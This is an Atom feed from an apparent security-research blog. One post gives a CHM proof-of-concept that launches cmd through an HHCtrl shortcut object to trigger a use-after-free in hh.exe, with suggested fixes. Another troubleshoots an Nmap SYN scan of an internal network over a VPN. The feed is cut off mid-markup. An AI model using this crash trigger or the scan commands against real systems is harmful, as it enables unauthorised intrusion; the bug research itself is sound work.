<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9114770521689436630</id><updated>2024-10-04T18:58:14.694-07:00</updated><title type='text'>CodeTrouble</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>18</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-1955798049059684658</id><published>2010-03-20T03:14:00.001-07:00</published><updated>2010-03-20T03:18:07.303-07:00</updated><title type='text'>If we could only control that window class...</title><content type='html'>&lt;pre&gt;&lt;br /&gt;This is an example of a file run from within a local chm file.&lt;br /&gt;Local chm files are considered as executables.&lt;br /&gt;The following is a research into an interesting bug and NOT a&lt;br /&gt;discussion on a practical security vulnerability. &lt;br /&gt;&lt;br /&gt;[OBJECT&lt;br /&gt;  id=hh&lt;br /&gt;  classid=&quot;clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11&quot;&lt;br /&gt;  width=100&lt;br /&gt;  height=100&lt;br /&gt;]&lt;br /&gt;  [PARAM name=&quot;Command&quot; value=&quot;ShortCut&quot;]&lt;br /&gt;  [PARAM name=&quot;Button&quot; value=&quot;Bitmap:shortcut&quot;]&lt;br /&gt;  [PARAM name=&quot;Item1&quot; value=&quot;,cmd,/c&quot;]&lt;br /&gt;  [PARAM name=&quot;Item2&quot; value=&quot;273,1,1&quot;]&lt;br /&gt;[/OBJECT]&lt;br /&gt;&lt;br /&gt;[script]&lt;br /&gt;&lt;br /&gt; // The chm loads, executes a process and the process is closed&lt;br /&gt; // The the script clicks the shortcut object after the process has already been closed&lt;br /&gt; // then hh.exe tries to create an error message using a format string (wsprintfA). The error message is:&lt;br /&gt; // &quot;The program specified for the shortcut was started, but the window class &quot;%s&quot; could not be found.&quot;&lt;br /&gt; // Then there is an attempt to read from the window class that was assigned to the process executed, which was&lt;br /&gt; // FREEed/destroyed/released when the process was closed. This causes the address that is pulled from the stack to be 3 letters &lt;br /&gt; // from the error message itself and another byte &quot; th\x54&quot;&lt;br /&gt;&lt;br /&gt; // an exploitation would require to be able to manipulate the window class&lt;br /&gt; // a proper fix would be one of the following:&lt;br /&gt; //  1) Checking if the window class still exists before using it&lt;br /&gt; //  2) making a copy of the window class upon process creation and using that copy&lt;br /&gt; //  3) removing the format string message&lt;br /&gt;&lt;br /&gt; hh.Click();&lt;br /&gt;[/script]&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/1955798049059684658/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/1955798049059684658' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/1955798049059684658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/1955798049059684658'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2010/03/if-we-could-only-control-that-window.html' title='If we could only control that window class...'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-6232177218568348600</id><published>2009-12-11T02:51:00.000-08:00</published><updated>2009-12-11T03:24:16.836-08:00</updated><title type='text'>Using Nmap Remotely Through F5 FirePass VPN</title><content type='html'>Well, we all use the common hacking tools of the trade like Nmap. Some of us use it on Windows and some on Linux. This post is for the people using it on Windows. &lt;div&gt;I was connected to a network remotely through the company&#39;s F5 VPN appliance and I wanted to scan the internal network.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;It looked like:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;Microsoft Windows XP [Version 5.1.2600]&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;C:\Documents and Settings\Rafel&gt;nmap -PN -sS -p 445 192.168.1.*&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Once I pressed &quot;Enter&quot; I got:&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-11-10 00:34 Jerusalem Standard &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;Time&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;WARNING: Using raw sockets because ppp0 is not an ethernet device. This probably won&#39;t &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;work on Windows.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;pcap_open_live(ppp0, 100, 0, 2) FAILED. Reported error: Error opening adapter: The &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;system cannot &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;find the device specified. (20).  Will wait 5 seconds then retry.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;/span&gt;pcap_open_live(ppp0, 100, 0, 2) FAILED. Reported error: Error opening adapter: The &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;system cannot &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;find the device specified. (20).  Will wait 25 seconds then retry.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Call to pcap_open_live(ppp0, 100, 0, 2) failed three times. Reported error: Error opening&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;adapter: The &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;system cannot find the device specified. (20)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;There are several possible reasons for this, depending on your operating system:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;LINUX: If you are getting Socket type not supported, try modprobe af_packet or &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;recompile &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;your &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;kernel with SOCK_PACKET enabled.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;*BSD:  If you are getting device not configured, you need to recompile your kernel with &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Berkeley Packet &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Filter support.  If you are getting No such file or directory, try creating &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;the &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;device (eg cd /dev; MAKEDEV &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;device&gt;; or use mknod).&lt;/device&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;*WINDOWS:  Nmap only supports ethernet interfaces on Windows for most operations &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;because Microsoft &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;disabled raw sockets as of Windows XP SP2.  Depending on the &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;reason &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;for this error, it is possible that the --&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;unprivileged command-line argument will &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;help.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;SOLARIS:  If you are trying to scan localhost or the address of an interface and are getting &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&#39;/dev/lo0: No &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;such file or directory&#39; or &#39;lo0: No DLPI device found&#39;, complain to Sun.  I &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;don&#39;t think Solar&lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;is can support &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;advanced localhost scans.  You can probably use&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre; &quot;&gt;  &lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: normal; &quot;&gt;&quot;-PN -sT localhost&quot; though.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;QUITTING!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Then I realized that the VPN connection was a PPP device which is probably at the top of the device type interfaces order list and Nmap is trying to use it in order to scan, which is the point of failure because Nmap on Windows without RAW sockets (means Windows XP SP2+) can only use Ethernet devices. So I try played &quot;Imaginary Linux on Windows&quot; and added the option &quot;-e eth0&quot; which specifies using the Ethernet device indexed at 0 and it worked like a charm.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;C:\Documents and Settings\Rafel&gt;nmap -PN -sS -p 445 -e eth0 192.168.1.*&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Starting Nmap 5.00 ( http://nmap.org ) at 2009-11-10 00:49 Jerusalem Standard Time&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Interesting ports on XXXXX (192.168.0.1):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;PORT    STATE    SERVICE&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;445/tcp filtered microsoft-ds&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-size:small;&quot;&gt;Nmap done: 1 IP address (1 host up) scanned in 6.03 seconds&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/6232177218568348600/comments/default' title='Post Comments'/><link rel='replies' 